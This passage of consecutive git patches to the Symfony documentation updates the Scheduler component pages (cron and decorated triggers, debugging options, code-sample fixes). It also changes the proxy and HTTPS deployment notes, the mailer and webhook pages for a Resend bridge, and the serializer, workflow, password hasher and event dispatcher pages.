+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
                 );
-                ->lock($this->lockFactory->createLock(‘my-lock’)
+                ->lock($this->lockFactory->createLock('my-lock')
         }
     }
 
 .. tip::
 
-    The processing time of a message matters.
-    If it takes a long time, all subsequent message processing may be delayed. So, it's a good practice to anticipate this and plan for frequencies greater than the processing time of a message.
+    The processing time of a message matters. If it takes a long time, all subsequent
+    message processing may be delayed. So, it's a good practice to anticipate this
+    and plan for frequencies greater than the processing time of a message.
 
-Additionally, for better scaling of your schedules, you have the option to wrap your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`.
-This allows you to specify a transport on which your message will be redispatched before being further redispatched to its corresponding handler::
+Additionally, for better scaling of your schedules, you have the option to wrap
+your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`.
+This allows you to specify a transport on which your message will be redispatched
+before being further redispatched to its corresponding handler::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -369,10 +368,12 @@ This allows you to specify a transport on which your message will be redispatche
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(RecurringMessage::every('5 seconds’), new RedispatchMessage(new Message(), ‘async’))
+                ->with(RecurringMessage::every('5 seconds'), new RedispatchMessage(new Message(), 'async'))
                 );
         }
     }
 
-.. _dragonmantank/cron-expression: https://packagist.org/packages/dragonmantank/cron-expression
-.. _crontab_helper: https://crontab.guru/
+.. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
+.. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
+.. _`crontab.guru website`: https://crontab.guru/
+.. _`relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative

From 529ba625401bbb18b7e936c0a9a961f867736aa7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 13:18:02 +0100
Subject: [PATCH 4304/5766] [Scheduler] Reformat some versionadded directives

---
 scheduler.rst | 21 ++++++++++++++-------
 1 file changed, 14 insertions(+), 7 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 16728b9e636..8e172412559 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -140,6 +140,13 @@ It uses the same syntax as the `cron command-line utility`_::
 
     RecurringMessage::cron('* * * * *', new Message());
 
+    // optionally you can define the timezone used by the cron expression
+    RecurringMessage::cron('* * * * *', new Message(), new \DateTimeZone('Africa/Malabo'));
+
+.. versionadded:: 6.4
+
+    The feature to define the cron timezone was introduced in Symfony 6.4.
+
 Before using it, you must install the following dependency:
 
 .. code-block:: terminal
@@ -151,10 +158,6 @@ Before using it, you must install the following dependency:
     Check out the `crontab.guru website`_ if you need help to construct/understand
     cron expressions.
 
-.. versionadded:: 6.4
-
-    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
-
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 
@@ -291,11 +294,15 @@ recurring messages. You can narrow down the list to a specific schedule:
         15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
        -------------------- -------------------------- ---------------------
 
+    # you can also specify a date to use for the next run date:
+    $ php bin/console --date=2025-10-18
+
+    # use the --all option to also display the terminated recurring messages
+    $ php bin/console --all
+
 .. versionadded:: 6.4
 
-    Since version 6.4, you can even specify a date to determine the next run date
-    using the ``--date`` option. Additionally, you have the option to display
-    terminated recurring messages using the ``--all`` option.
+    The ``--date`` and ``--all`` options were introduced in Symfony 6.4.
 
 Efficient management with Symfony Scheduler
 -------------------------------------------

From cf8cc5beeadda756a679875593b7fc08ef169b7b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 13:19:19 +0100
Subject: [PATCH 4305/5766] [Scheduler] Remove some unneeded versionadded
 directives

---
 scheduler.rst | 16 ++--------------
 1 file changed, 2 insertions(+), 14 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 8e172412559..18d0f60fe69 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -1,10 +1,6 @@
 Scheduler
 =========
 
-.. versionadded:: 6.3
-
-    The Scheduler component was introduced in Symfony 6.3
-
 The scheduler component manages task scheduling within your PHP application, like
 running a task each night at 3 AM, every two weeks except for holidays or any
 other custom schedule you might need.
@@ -143,10 +139,6 @@ It uses the same syntax as the `cron command-line utility`_::
     // optionally you can define the timezone used by the cron expression
     RecurringMessage::cron('* * * * *', new Message(), new \DateTimeZone('Africa/Malabo'));
 
-.. versionadded:: 6.4
-
-    The feature to define the cron timezone was introduced in Symfony 6.4.
-
 Before using it, you must install the following dependency:
 
 .. code-block:: terminal
@@ -266,9 +258,9 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
-.. versionadded:: 6.4
+.. tip::
 
-    Since version 6.4, you can define your messages via a ``callback`` via the
+    You can also define your messages via a ``callback`` using the
     :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
 
 Debugging the Schedule
@@ -300,10 +292,6 @@ recurring messages. You can narrow down the list to a specific schedule:
     # use the --all option to also display the terminated recurring messages
     $ php bin/console --all
 
-.. versionadded:: 6.4
-
-    The ``--date`` and ``--all`` options were introduced in Symfony 6.4.
-
 Efficient management with Symfony Scheduler
 -------------------------------------------
 

From fa15a7acfd3f54289581f935c01fd729a17e2842 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 16 Jan 2024 13:44:27 +0100
Subject: [PATCH 4306/5766] [Scheduler] Emphasize `__toString()`

---
 scheduler.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 16728b9e636..9b3d46784f6 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -189,6 +189,8 @@ For example, if you want to send customer reports daily except for holiday perio
 
         public function __toString(): string
         {
+            // give a nice displayable name to your trigger
+            // to ease debugging
             return $this->inner.' (except holidays)';
         }
 

From 3df68a78edd3361b6c4949e0f470f01fca57a848 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 14:47:34 +0100
Subject: [PATCH 4307/5766] [Scheduler] Some fixes in code samples

---
 scheduler.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 16728b9e636..764c0e5387e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -321,7 +321,7 @@ what it missed::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
-                );
+                )
                 ->stateful($this->cache)
         }
     }
@@ -343,7 +343,7 @@ same task more than once::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
-                );
+                )
                 ->lock($this->lockFactory->createLock('my-lock')
         }
     }
@@ -368,7 +368,9 @@ before being further redispatched to its corresponding handler::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(RecurringMessage::every('5 seconds'), new RedispatchMessage(new Message(), 'async'))
+                ->with(
+                    RecurringMessage::every('5 seconds'),
+                    new RedispatchMessage(new Message(), 'async')
                 );
         }
     }

From f1621cc73ce5a2592e5764bf175ace32a2a457fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 15:09:18 +0100
Subject: [PATCH 4308/5766] Tweak

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index cd72af7a1f4..3d89f7c4bc3 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -187,10 +187,10 @@ For example, if you want to send customer reports daily except for holiday perio
         {
         }
 
+        // use this method to give a nice displayable name to
+        // identify your trigger (it eases debugging)
         public function __toString(): string
         {
-            // give a nice displayable name to your trigger
-            // to ease debugging
             return $this->inner.' (except holidays)';
         }
 

From dc2fbdb9723546a2ce76fb243e36b67f70825b8d Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 16 Jan 2024 11:27:17 +0100
Subject: [PATCH 4309/5766] note on forcing https

---
 routing.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/routing.rst b/routing.rst
index 4b109a5f166..bbc81ba2bac 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2492,6 +2492,15 @@ when the route doesn't exist::
 Forcing HTTPS on Generated URLs
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. note::
+
+    If your server runs behind a proxy that terminates SSL, make sure to
+    :doc:`configure Symfony to work behind a proxy </deployment/proxies>`
+
+    The configuration for the scheme is only used for non-HTTP requests.
+    The ``schemes`` option together with incorrect proxy configuration will
+    lead to a redirect loop.
+
 By default, generated URLs use the same HTTP scheme as the current request.
 In console commands, where there is no HTTP request, URLs use ``http`` by
 default. You can change this per command (via the router's ``getContext()``

From c696b0e6302c103ef713b016473cae38d14ded03 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 16 Jan 2024 15:50:06 +0100
Subject: [PATCH 4310/5766] [Scheduler] List existing triggers

---
 scheduler.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 3d89f7c4bc3..9b532d69dc8 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -133,6 +133,26 @@ Scheduling Recurring Messages
 A ``RecurringMessage`` is a message associated with a trigger, which configures
 the frequency of the message. Symfony provides different types of triggers:
 
+:class:`Symfony\\Component\\Scheduler\\Trigger\\CronExpressionTrigger`
+    A trigger that uses the same syntax as the `cron command-line utility`_.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackTrigger`
+    A trigger that uses a callback to determine the next run date.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\ExcludeTimeTrigger`
+    A trigger that excludes certain times from a given trigger.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger`
+    A trigger that adds a random jitter to a given trigger. This allows to
+    distribute the load of the scheduled tasks instead of running them all
+    at the same time.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\PeriodicalTrigger`
+    A trigger that uses a ``DateInterval`` to determine the next run date.
+
+Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
+class, as we'll see in the following examples.
+
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -140,7 +160,7 @@ It uses the same syntax as the `cron command-line utility`_::
 
     RecurringMessage::cron('* * * * *', new Message());
 
-Before using it, you must install the following dependency:
+Before using it, you have to install the following dependency:
 
 .. code-block:: terminal
 
@@ -224,7 +244,7 @@ Then, define your recurring message::
         new SendDailySalesReports('...'),
     );
 
-Finally, the recurring messages must be attached to a schedule::
+Finally, the recurring messages has to be attached to a schedule::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;

From 96634f50cd80760f744bcc9de869eddf59591a37 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 16 Jan 2024 11:45:58 +0100
Subject: [PATCH 4311/5766] Add help for hidden SSL termination

---
 deployment/proxies.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index e846f95a808..c3692aa12f4 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -164,8 +164,31 @@ handling the request::
     // ...
     $response = $kernel->handle($request);
 
+Overriding configuration behind hidden SSL termination
+------------------------------------------------------
+
+Some cloud setups (like running a Docker container with the "Web App for Containers"
+in `Microsoft Azure`_) do SSL termination and contact your web server over http, but
+do not change the remote address nor set the ``X-Forwarded-*`` headers. This means
+the trusted proxy funcationality of Symfony can't help you.
+
+Once you made sure your server is only reachable through the cloud proxy over HTTPS
+and not through HTTP, you can override the information your web server sends to PHP.
+For Nginx, this could look like this:
+
+.. code-block:: nginx
+
+    location ~ ^/index\.php$ {
+        fastcgi_pass 127.0.0.1:9000;
+        include fastcgi.conf;
+        # Lie to symfony about the protocol and port so that it generates the correct https URLs
+        fastcgi_param SERVER_PORT "443";
+        fastcgi_param HTTPS "on";
+    }
+
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`nginx realip module`: https://nginx.org/en/docs/http/ngx_http_realip_module.html
+.. _`Microsoft Azure`: https://en.wikipedia.org/wiki/Microsoft_Azure

From e01d2e029e2d530097146c2ac790f1ce17b1133c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 16:07:36 +0100
Subject: [PATCH 4312/5766] Minor tweak

---
 deployment/proxies.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index c3692aa12f4..edaf623e31f 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -164,13 +164,13 @@ handling the request::
     // ...
     $response = $kernel->handle($request);
 
-Overriding configuration behind hidden SSL termination
+Overriding Configuration Behind Hidden SSL Termination
 ------------------------------------------------------
 
 Some cloud setups (like running a Docker container with the "Web App for Containers"
-in `Microsoft Azure`_) do SSL termination and contact your web server over http, but
+in `Microsoft Azure`_) do SSL termination and contact your web server over HTTP, but
 do not change the remote address nor set the ``X-Forwarded-*`` headers. This means
-the trusted proxy funcationality of Symfony can't help you.
+the trusted proxy feature of Symfony can't help you.
 
 Once you made sure your server is only reachable through the cloud proxy over HTTPS
 and not through HTTP, you can override the information your web server sends to PHP.
@@ -181,7 +181,7 @@ For Nginx, this could look like this:
     location ~ ^/index\.php$ {
         fastcgi_pass 127.0.0.1:9000;
         include fastcgi.conf;
-        # Lie to symfony about the protocol and port so that it generates the correct https URLs
+        # Lie to Symfony about the protocol and port so that it generates the correct HTTPS URLs
         fastcgi_param SERVER_PORT "443";
         fastcgi_param HTTPS "on";
     }

From 26ba948c3a2322230e7a60a8af83b721d494ec5f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 16:56:11 +0100
Subject: [PATCH 4313/5766] Minor tweak

---
 scheduler.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 9b532d69dc8..6f2c25f03a4 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -143,15 +143,16 @@ the frequency of the message. Symfony provides different types of triggers:
     A trigger that excludes certain times from a given trigger.
 
 :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger`
-    A trigger that adds a random jitter to a given trigger. This allows to
-    distribute the load of the scheduled tasks instead of running them all
-    at the same time.
+    A trigger that adds a random jitter to a given trigger. The jitter is some
+    time that it's added/subtracted to the original triggering date/time. This
+    allows to distribute the load of the scheduled tasks instead of running them
+    all at the exact same time.
 
 :class:`Symfony\\Component\\Scheduler\\Trigger\\PeriodicalTrigger`
     A trigger that uses a ``DateInterval`` to determine the next run date.
 
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
-class, as we'll see in the following examples.
+class, as shown in the following examples.
 
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~

From 0213c09a62113eba5c66cb973cd418bba5e02cd3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 17:33:37 +0100
Subject: [PATCH 4314/5766] [Scheduler] Document hashed cron expressions

---
 scheduler.rst | 21 +++++++++++++++++----
 1 file changed, 17 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6f2c25f03a4..bf0644f1911 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -157,15 +157,28 @@ class, as shown in the following examples.
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-It uses the same syntax as the `cron command-line utility`_::
+Before using cron triggers, you have to install the following dependency:
+
+.. code-block:: terminal
+
+    composer require dragonmantank/cron-expression
+
+Then, define the trigger date/time using the same syntax as the
+`cron command-line utility`_::
 
     RecurringMessage::cron('* * * * *', new Message());
 
-Before using it, you have to install the following dependency:
+You can also used some special values that represent common cron expressions:
 
-.. code-block:: terminal
+* ``#yearly``, ``#annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
+* ``#monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``
+* ``#weekly`` - Run once a week, midnight on Sun - ``0 0 * * 0``
+* ``#daily``, ``#midnight`` - Run once a day, midnight - ``0 0 * * *``
+* ``#hourly`` - Run once an hour, first minute - ``0 * * * *``
 
-    composer require dragonmantank/cron-expression
+For example::
+
+    RecurringMessage::cron('#daily', new Message());
 
 .. tip::
 

From 892e5d2747309496654f09919c5ec7c83998776e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 16 Jan 2024 21:36:42 +0100
Subject: [PATCH 4315/5766] Update scheduler.rst

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6f2c25f03a4..c2547319cb5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -195,7 +195,7 @@ Custom Triggers
 ~~~~~~~~~~~~~~~
 
 Custom triggers allow to configure any frequency dynamically. They are created
-as services that implement :class:`Symfony\\Component\\Scheduler\\TriggerInterface`.
+as services that implement :class:`Symfony\\Component\\Scheduler\\Trigger\\TriggerInterface`.
 
 For example, if you want to send customer reports daily except for holiday periods::
 

From 4a89412618463e053f9ce105c640a0b34f79730b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 08:53:42 +0100
Subject: [PATCH 4316/5766] Minor fix

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 58686cad705..a272db1d0fd 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -168,7 +168,7 @@ Then, define the trigger date/time using the same syntax as the
 
     RecurringMessage::cron('* * * * *', new Message());
 
-You can also used some special values that represent common cron expressions:
+You can also use some special values that represent common cron expressions:
 
 * ``#yearly``, ``#annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
 * ``#monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``

From 968bede32753902aba45d962c6177a6cb0c6a6bc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 17 Jan 2024 08:58:03 +0100
Subject: [PATCH 4317/5766] [Scheduler] Add `AbstractDecoratedTrigger`

---
 scheduler.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index f25b43fee6c..adfc6a9cbe5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -151,6 +151,25 @@ the frequency of the message. Symfony provides different types of triggers:
 :class:`Symfony\\Component\\Scheduler\\Trigger\\PeriodicalTrigger`
     A trigger that uses a ``DateInterval`` to determine the next run date.
 
+The :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger` and
+:class:`Symfony\\Component\\Scheduler\\Trigger\\ExcludeTimeTrigger` are decorators
+and modify the behavior of the trigger they wrap. You can get the decorated
+trigger as well as the decorators by calling the
+:method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::inner`
+and :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::decorators`
+methods::
+
+    $trigger = new ExcludeTimeTrigger(new JitterTrigger(CronExpressionTrigger::fromSpec('#midnight', new MyMessage()));
+
+    $trigger->inner(); // CronExpressionTrigger
+    $trigger->decorators(); // [ExcludeTimeTrigger, JitterTrigger]
+
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::inner`
+    and :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::decorators`
+    methods were introduced in Symfony 6.4.
+
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 

From 05b6ce448f788d26866862187e1a6c81f8ee5fd9 Mon Sep 17 00:00:00 2001
From: Enzo Santamaria <62953579+Enz000@users.noreply.github.com>
Date: Tue, 16 Jan 2024 14:32:24 +0100
Subject: [PATCH 4318/5766] add note in DiscriminatorMap section

---
 components/serializer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index a1a281f63c8..a58bdf1fd85 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1837,6 +1837,11 @@ and ``BitBucketCodeRepository`` classes:
             </class>
         </serializer>
 
+.. note::
+
+    The values of the array parameter `mapping` should be strings.
+    Otherwise, it will implicitly be cast into strings.
+
 Once configured, the serializer uses the mapping to pick the correct class::
 
     $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');

From 09f5cc19f5038825328542e717af6710933dfd73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 09:24:08 +0100
Subject: [PATCH 4319/5766] Minor reword

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index a58bdf1fd85..fc6b959676b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1839,8 +1839,8 @@ and ``BitBucketCodeRepository`` classes:
 
 .. note::
 
-    The values of the array parameter `mapping` should be strings.
-    Otherwise, it will implicitly be cast into strings.
+    The values of the ``mapping`` array option must be strings.
+    Otherwise, they will be cast into strings automatically.
 
 Once configured, the serializer uses the mapping to pick the correct class::
 

From 667d3af3aada3beccd155985f939f4008e35350c Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Wed, 17 Jan 2024 10:00:36 +0100
Subject: [PATCH 4320/5766] Add Resend bridge documentation

---
 mailer.rst  | 7 +++++++
 webhook.rst | 1 +
 2 files changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index dc981437e3e..37a955efe42 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,6 +110,7 @@ Service               Install with                                    Webhook su
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
+`Resend`_             ``composer require symfony/resend-mailer``      yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``    yes
 ===================== =============================================== ===============
@@ -208,6 +209,10 @@ party provider:
 |                        | - HTTP n/a                                          |
 |                        | - API postmark+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
+| `Resend`_              | - SMTP resend+smtp://resend:API_KEY@default         |
+|                        | - HTTP n/a                                          |
+|                        | - API resend+api://API_KEY@default                  |
++------------------------+-----------------------------------------------------+
 | `Scaleway`_            | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default   |
 |                        | - HTTP n/a                                          |
 |                        | - API scaleway+api://PROJECT_ID:API_KEY@default     |
@@ -1503,6 +1508,7 @@ The following transports currently support tags and metadata:
 The following transports only support tags:
 
 * MailPace
+* Resend
 
 The following transports only support metadata:
 
@@ -1847,6 +1853,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
+.. _`Resend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Resend/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`Scaleway`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Scaleway/README.md
diff --git a/webhook.rst b/webhook.rst
index d6e14f12805..32567bfe29d 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -82,6 +82,7 @@ Brevo          ``mailer.webhook.request_parser.brevo``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Postmark       ``mailer.webhook.request_parser.postmark``
+Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 

From 0d779a50c6b458f42cfb63751869fc3f56f3a245 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 10:29:19 +0100
Subject: [PATCH 4321/5766] [Scheduler] Remove unneded versionadded directives

---
 scheduler.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index e51e8243af3..3d04d8c0a58 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -160,12 +160,6 @@ methods::
     $trigger->inner(); // CronExpressionTrigger
     $trigger->decorators(); // [ExcludeTimeTrigger, JitterTrigger]
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::inner`
-    and :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::decorators`
-    methods were introduced in Symfony 6.4.
-
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 

From 601d9234f61cd0cacda7781ee1eeab01564d615f Mon Sep 17 00:00:00 2001
From: Benjamin <blaugueux@users.noreply.github.com>
Date: Thu, 11 Jan 2024 11:14:58 +0100
Subject: [PATCH 4322/5766] Fix wrong variable name.

---
 workflow/workflow-and-state-machine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index f6b93fa693c..09bbbd8befa 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -267,13 +267,13 @@ machine type, use ``camelCased workflow name + StateMachine``::
     {
         public function __construct(
             // Symfony will inject the 'pull_request' state machine configured before
-            private WorkflowInterface $pullRequestWorkflow,
+            private WorkflowInterface $pullRequestStateMachine,
         ) {
         }
 
         public function someMethod(PullRequest $pullRequest): void
         {
-            $this->pullRequestWorkflow->apply($pullRequest, 'wait_for_review', [
+            $this->pullRequestStateMachine->apply($pullRequest, 'wait_for_review', [
                 'log_comment' => 'My logging comment for the wait for review transition.',
             ]);
             // ...

From 088a4f3a50785d04f56e1dc31f8416df376e4934 Mon Sep 17 00:00:00 2001
From: Franklin LIA <46316603+lbbyf@users.noreply.github.com>
Date: Mon, 8 Jan 2024 16:22:13 +0100
Subject: [PATCH 4323/5766] [DOC][SECURITY] Update passwords.rst

The signature of the needsRehash method of the `SymfonyComponentPasswordHasher\Hasher\UserPasswordHasherInterface` interface is `public function needsRehash(PasswordAuthenticatedUserInterface $user): bool;`.

If we use the method `public function needsRehash(string $hashedPassword): bool;`, then the interface should be `Symfony\Component\PasswordHasher\PasswordHasherInterface`.
---
 security/passwords.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 6807785a29f..581c7b85870 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -518,13 +518,13 @@ migration by returning ``true`` in the ``needsRehash()`` method::
     namespace App\Security;
 
     // ...
-    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+    use Symfony\Component\PasswordHasher\PasswordHasherInterface;
 
-    class CustomPasswordHasher implements UserPasswordHasherInterface
+    class CustomPasswordHasher implements PasswordHasherInterface
     {
         // ...
 
-        public function needsRehash(string $hashed): bool
+        public function needsRehash(string $hashedPassword): bool
         {
             // check whether the current password is hashed using an outdated hasher
             $hashIsOutdated = ...;

From 4e04a454e5326a984a4fe5f8ae83f8300d523fcb Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 3 Jan 2024 14:12:22 +0100
Subject: [PATCH 4324/5766] [EventDispatcher] docs: document simpler event
 dispatching

---
 components/event_dispatcher.rst | 43 ++++++++++-----------------------
 1 file changed, 13 insertions(+), 30 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index f6f30419f68..6ad6e1dd80b 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -69,17 +69,6 @@ An :class:`Symfony\\Contracts\\EventDispatcher\\Event` instance is also
 created and passed to all of the listeners. As you'll see later, the ``Event``
 object itself often contains data about the event being dispatched.
 
-Naming Conventions
-..................
-
-The unique event name can be any string, but optionally follows a few
-naming conventions:
-
-* Use only lowercase letters, numbers, dots (``.``) and underscores (``_``);
-* Prefix names with a namespace followed by a dot (e.g. ``order.*``, ``user.*``);
